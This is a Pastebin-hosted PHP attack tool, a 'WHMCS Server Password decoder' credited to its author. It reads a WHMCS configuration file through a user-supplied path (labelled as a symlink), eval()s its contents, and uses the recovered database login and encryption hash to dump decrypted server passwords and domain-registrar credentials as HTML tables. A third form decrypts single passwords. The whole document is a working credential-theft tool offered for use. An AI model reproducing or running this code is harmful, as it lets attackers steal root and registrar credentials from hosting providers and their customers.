Guest User

Untitled

a guest
Oct 3rd, 2018
528
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.85 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4.  
  5.  
  6.  
  7. function decrypt ($string,$cc_encryption_hash)
  8. {
  9.  
  10. $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  11. $hash_key = _hash ($key);
  12. $hash_length = strlen ($hash_key);
  13. $string = base64_decode ($string);
  14. $tmp_iv = substr ($string, 0, $hash_length);
  15. $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  16. $iv = $out = '';
  17. $c = 0;
  18. while ($c < $hash_length)
  19. {
  20. $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  21. ++$c;
  22. }
  23.  
  24. $key = $iv;
  25. $c = 0;
  26. while ($c < strlen ($string))
  27. {
  28. if (($c != 0 AND $c % $hash_length == 0))
  29. {
  30. $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  31. }
  32.  
  33. $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  34. ++$c;
  35. }
  36.  
  37. return $out;
  38. }
  39.  
  40.  
  41. function _hash ($string)
  42. {
  43. if (function_exists ('sha1'))
  44. {
  45. $hash = sha1 ($string);
  46. }
  47. else
  48. {
  49. $hash = md5 ($string);
  50. }
  51.  
  52. $out = '';
  53. $c = 0;
  54. while ($c < strlen ($hash))
  55. {
  56. $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  57. $c += 2;
  58. }
  59.  
  60. return $out;
  61. }
  62.  
  63. if($_POST['form_action'] == 1 )
  64. {
  65. //include($file);
  66.  
  67. $file=($_POST['file']);
  68. $text=file_get_contents($file);
  69.  
  70. $text= str_replace("<?php", "", $text);
  71. $text= str_replace("<?", "", $text);
  72. $text= str_replace("?>", "", $text);
  73.  
  74. eval($text);
  75.  
  76. $link=mysql_connect($db_host,$db_username,$db_password) ;
  77. mysql_select_db($db_name,$link) ;
  78.  
  79. $query = mysql_query("SELECT * FROM tblservers");
  80.  
  81. while($v = mysql_fetch_array($query)) {
  82.  
  83. $ipaddress = $v['ipaddress'];
  84. $username = $v['username'];
  85. $type = $v['type'];
  86. $active = $v['active'];
  87. $hostname = $v['hostname'];
  88.  
  89. echo("<center><table border='1'>");
  90. $password = decrypt ($v['password'], $cc_encryption_hash);
  91. echo("<tr><td>Type</td><td>$type</td></tr>");
  92. echo("<tr><td>Active</td><td>$active</td></tr>");
  93. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  94. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  95. echo("<tr><td>Username</td><td>$username</td></tr>");
  96. echo("<tr><td>Password</td><td>$password</td></tr>");
  97.  
  98.  
  99. echo "</table><br><br></center>";
  100.  
  101. }
  102.  
  103. $link=mysql_connect($db_host,$db_username,$db_password) ;
  104. mysql_select_db($db_name,$link) ;
  105.  
  106. $query = mysql_query("SELECT * FROM tblregistrars");
  107. echo("<center>Domain Reseller <br><table border='1'>");
  108. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  109. while($v = mysql_fetch_array($query)) {
  110.  
  111. $registrar = $v['registrar'];
  112. $setting = $v['setting'];
  113. $value = decrypt ($v['value'], $cc_encryption_hash);
  114. if ($value=="") {
  115. $value=0;
  116. }
  117. $password = decrypt ($v['password'], $cc_encryption_hash);
  118. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  119.  
  120.  
  121.  
  122.  
  123.  
  124. }
  125. echo "</table><br><br></center>";
  126. }
  127.  
  128.  
  129.  
  130. if($_POST['form_action'] == 2 )
  131. {
  132. //include($file);
  133.  
  134. $db_host=($_POST['db_host']);
  135. $db_username=($_POST['db_username']);
  136. $db_password=($_POST['db_password']);
  137. $db_name=($_POST['db_name']);
  138. $cc_encryption_hash=($_POST['cc_encryption_hash']);
  139.  
  140.  
  141.  
  142.  
  143. $link=mysql_connect($db_host,$db_username,$db_password) ;
  144. mysql_select_db($db_name,$link) ;
  145.  
  146. $query = mysql_query("SELECT * FROM tblservers");
  147.  
  148. while($v = mysql_fetch_array($query)) {
  149.  
  150. $ipaddress = $v['ipaddress'];
  151. $username = $v['username'];
  152. $type = $v['type'];
  153. $active = $v['active'];
  154. $hostname = $v['hostname'];
  155.  
  156. echo("<center><table border='1'>");
  157. $password = decrypt ($v['password'], $cc_encryption_hash);
  158. echo("<tr><td>Type</td><td>$type</td></tr>");
  159. echo("<tr><td>Active</td><td>$active</td></tr>");
  160. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  161. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  162. echo("<tr><td>Username</td><td>$username</td></tr>");
  163. echo("<tr><td>Password</td><td>$password</td></tr>");
  164.  
  165.  
  166. echo "</table><br><br></center>";
  167.  
  168. }
  169.  
  170.  
  171. $link=mysql_connect($db_host,$db_username,$db_password) ;
  172. mysql_select_db($db_name,$link) ;
  173.  
  174. $query = mysql_query("SELECT * FROM tblregistrars");
  175. echo("<center>Domain Reseller <br><table border='1'>");
  176. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  177. while($v = mysql_fetch_array($query)) {
  178.  
  179. $registrar = $v['registrar'];
  180. $setting = $v['setting'];
  181. $value = decrypt ($v['value'], $cc_encryption_hash);
  182. if ($value=="") {
  183. $value=0;
  184. }
  185. $password = decrypt ($v['password'], $cc_encryption_hash);
  186. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  187.  
  188.  
  189.  
  190.  
  191.  
  192. }
  193. echo "</table><br><br></center>";
  194. }
  195.  
  196.  
  197.  
  198.  
  199. ?><body bgcolor="#000000">
  200. <style>
  201.  
  202. BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: olive; color: white;}
  203. textarea{background-color:#191919;color:red;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1px solid #666666;}
  204. input{FONT-WEIGHT:normal;background-color: #191919;font-size: 13px;font-weight:bold;color: red; font-family: Tahoma; border: 1px solid #666666;height:17}
  205. </style>
  206. <center>
  207. <font color="#FFFF6FF" size='+3'>[ ~~ WHMCS Server Password decoder ~~ ]</font><br><br>
  208. <font color="#0066FF" size='+2'>Symlink to configuration.php of WHMCS</font><br>
  209. </center>
  210. <FORM action="" method="post">
  211. <input type="hidden" name="form_action" value="1">
  212. <br>
  213. <input type="text" size="30" name="file" value="">
  214. <br>
  215. <INPUT class=submit type="submit" value="Submit" name="Submit">
  216. </FORM>
  217. <hr>
  218.  
  219. <br>
  220. <center>
  221. <font color="#0066FF" size='+2'>DB configuration of WHMCS</font><br>
  222. </center>
  223. <FORM action="" method="post">
  224. <input type="hidden" name="form_action" value="2">
  225. <br>
  226. <table border=1>
  227.  
  228. <tr><td>db_host </td><td><input type="text" size="30" name="db_host" value="localhost"></td></tr>
  229. <tr><td>db_username </td><td><input type="text" size="30" name="db_username" value=""></td></tr>
  230. <tr><td>db_password</td><td><input type="text" size="30" name="db_password" value=""></td></tr>
  231. <tr><td>db_name</td><td><input type="text" size="30" name="db_name" value=""><td></tr>
  232. <tr><td>cc_encryption_hash</td><td><input type="text" size="30" name="cc_encryption_hash" value=""></td></tr>
  233.  
  234. </table>
  235. <br>
  236. <INPUT class=submit type="submit" value="Submit" name="Submit">
  237. </FORM>
  238. <hr>
  239. <center>
  240. <font color="#0066FF" size='+2'>Password decoder</font><br>
  241. <?
  242. if($_POST['form_action'] == 3 )
  243. {
  244.  
  245.  
  246.  
  247. $password=($_POST['password']);
  248.  
  249. $cc_encryption_hash=($_POST['cc_encryption_hash']);
  250.  
  251.  
  252. $password = decrypt ($password, $cc_encryption_hash);
  253.  
  254. echo("Password is ".$password);
  255.  
  256. }
  257. ?>
  258. </center>
  259. <FORM action="" method="post">
  260. <input type="hidden" name="form_action" value="3">
  261. <br>
  262. <table border=1>
  263.  
  264. <tr><td>Password</td><td><input type="text" size="30" name="password" value=""></td></tr>
  265. <tr><td>cc_encryption_hash</td><td><input type="text" size="30" name="cc_encryption_hash" value=""></td></tr>
  266.  
  267. </table>
  268. <br>
  269. <INPUT class=submit type="submit" value="Submit" name="Submit">
  270. </FORM>
  271. <hr>
  272.  
  273.  
  274. <center> <font color="#FFFF6FF" size='+1'> ProG By AminOu Dz ! Ms-Dos1@Hotmail.Fr </font><br><br> <center>
Add Comment
Please, Sign In to add comment